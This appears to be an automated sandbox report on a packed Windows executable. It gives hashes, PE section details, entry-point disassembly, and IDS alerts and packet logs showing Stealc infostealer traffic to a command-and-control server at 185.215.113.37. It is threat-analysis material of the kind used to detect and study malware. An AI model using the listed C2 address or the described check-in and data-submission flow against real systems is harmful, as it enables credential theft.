MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9467176437035185
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'818'624 bytes
MD5:	af7d0452fa5d881625339c18a6387da5
SHA1:	91806ce1e00019838d86d865f829977aa06fbace
SHA256:	b680882b4d4010f0d63cc3f327b123006581456800d622dd54e01f577f17d8e2
SHA512:	b4adb3b0db9529ea2eda5648b2bf6e18992028e7f5964d27bb98746490f29d36778bd8e0410fe736826fed3a18b538c932fae6faa737a3b65df794a88e0d1399
SSDEEP:	24576:EWha/Q8wd8GAgWDi42ERg7gUirjiubHVgb9SpYFaTORpyt/PrEau2I56J6tiFLgF:rh8waGZWEBCprO6/AZpyLgXXZT4B
TLSH:	0185337060622BA6C13E6431ADB7C9DD93F43823D45AA73A3B4A3BB9851FC1D1531B4E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4A4D3B8C2Ah
setle byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	67f03212fa6c6417260f0bd444b6580d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x297000	0x200	98cacd3ebf0a252a161f730285fa6cad	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xposepnz	0x4f5000	0x196000	0x195c00	d8061537d1c928aee0158cfdc22d1cc0	False	0.9949511177218114	data	7.953764245926421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bkobembs	0x68b000	0x1000	0x600	91b94cf2bc911bdfc5ec7db3becf962d	False	0.609375	data	5.234189498628948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68c000	0x3000	0x2200	7aba5f99c2a48d6610e4773a9afa79d6	False	0.06789981617647059	DOS executable (COM)	0.8503571087280841	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T21:16:04.935103+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:05.280795+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:05.287086+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.6	49711	TCP
2024-10-20T21:16:05.626798+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:05.634022+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.6	49711	TCP
2024-10-20T21:16:06.875839+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:07.960544+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:14.276533+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:15.647430+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:16.330157+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:16.974622+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:17.837454+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:18.254457+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 21:16:03.420830965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:03.425951958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:03.426211119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:03.426696062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:03.431714058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:04.562958002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:04.563117027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:04.572371960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:04.577157021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:04.934974909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:04.935102940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:04.936489105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:04.941364050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.280689955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.280751944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.280797005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.280795097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.280831099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.280862093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.282280922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.287086010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.626646996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.626681089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.626697063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.626797915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.627130985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.627146006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.627165079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.627181053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.627194881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.627222061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.629163980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:05.634021997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.973452091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:05.973584890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:06.003449917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:06.003505945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:06.009581089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.009615898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.009632111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.009656906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.009669065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.010117054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.010129929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.875749111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:06.875838995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.614898920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.619805098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960329056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960342884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960448027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960544109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.960544109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.960599899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960685968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.960777044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960789919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960799932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960810900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.960836887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.960870981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.961601019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.961664915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.961774111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.961785078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.961796999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:07.961834908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:07.961865902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.146742105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.146828890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.146847963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.146859884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.146908045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.146981001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.146995068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.147213936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.147226095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.147247076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.147279978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.147829056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.147895098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.147977114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.147988081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.148044109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.148519039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.148539066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.148591042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.148622036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.148793936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.148850918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.148916960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.148926973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.148988008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.149247885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.149260044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.149270058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.149312973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.149343967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.149678946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.149691105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.149738073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.150075912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.150135040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.150185108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.150197029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.150245905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.150412083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.150469065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333343983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333436012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333441019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333513021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333542109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333587885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333623886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333672047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333754063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333810091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333820105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333831072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.333864927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.333899021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.334156036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.334209919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.334259033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.334309101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.334352016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.334362030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.334372997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.334398985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.334423065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.334686041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.334738016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.335191011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335259914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.335272074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335290909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335320950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.335362911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.335472107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335525036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.335849047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335906029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.335937023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335947990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.335983038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.336162090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.336173058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.336213112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.336709023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.336766005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.336815119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.336827040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.336874962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.337064981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.337079048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.337119102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.337675095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.337728024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.337766886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.337779045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.337816954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.338010073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.338021994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.338064909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.339378119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339413881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339426041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339430094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.339457989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.339481115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.339682102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339694977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339735031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.339941025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339951992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339962959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.339991093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.340014935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.340262890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.340276003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.340315104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.340493917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.340536118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.340735912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.340780973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.340862989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.340874910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.340909958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.341054916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.341103077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.520457029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520548105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520560026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520884037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520895004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520905972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520915985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.520920038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.520920038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.520977020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.520977020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.521505117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.521516085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.521527052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.521538973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.521549940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.521573067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.521609068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.521609068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.522123098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522135973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522188902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.522404909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522423983 CEST	80	49711	185.215.113.37	192.168.2.6
